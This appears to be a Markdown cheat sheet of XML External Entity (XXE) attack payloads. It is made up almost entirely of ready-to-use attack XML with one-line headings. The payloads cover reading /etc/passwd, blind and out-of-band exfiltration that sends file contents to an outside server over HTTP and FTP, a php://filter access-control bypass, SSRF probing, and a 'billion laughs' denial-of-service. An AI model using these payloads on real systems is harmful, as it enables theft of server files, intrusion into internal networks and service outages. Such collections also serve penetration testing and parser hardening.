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77 lines
2.3 KiB
Markdown
77 lines
2.3 KiB
Markdown
**LFI Test**
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```
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ELEMENT foo (#ANY)>
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<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
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```
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**Blind LFI test (when first case doesn't return anything)**
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```
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ELEMENT foo (#ANY)>
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<!ENTITY % xxe SYSTEM "file:///etc/passwd">
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<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
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```
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**Access Control bypass (loading restricted resources - PHP example)**
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```
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
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<foo><result>∾</result></foo>
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```
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**SSRF Test**
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```
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ELEMENT foo (#ANY)>
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<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
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```
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**XEE (XML Entity Expansion - DOS)**
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```
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<?xml version="1.0"?>
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<!DOCTYPE lolz [
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<!ENTITY lol "lol">
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<!ELEMENT lolz (#PCDATA)>
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<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
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<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
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<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
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<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
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<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
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<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
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<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
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<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
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<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
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]>
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<lolz>&lol9;</lolz>
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```
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**XEE #2 (Remote attack - through external xml inclusion)**
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```
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<?xml version="1.0"?>
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<!DOCTYPE lolz [
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<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
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<lolz><lol>3..2..1...&test<lol></lolz>
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```
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**XXE FTP HTTP Server**
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https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
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http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
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```
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<!DOCTYPE data [
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<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
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%remote;
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%send;
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]>
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<data>4</data>
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File stored on http://publicServer.com/parameterEntity_sendftp.dtd
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<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
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%param1;
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```
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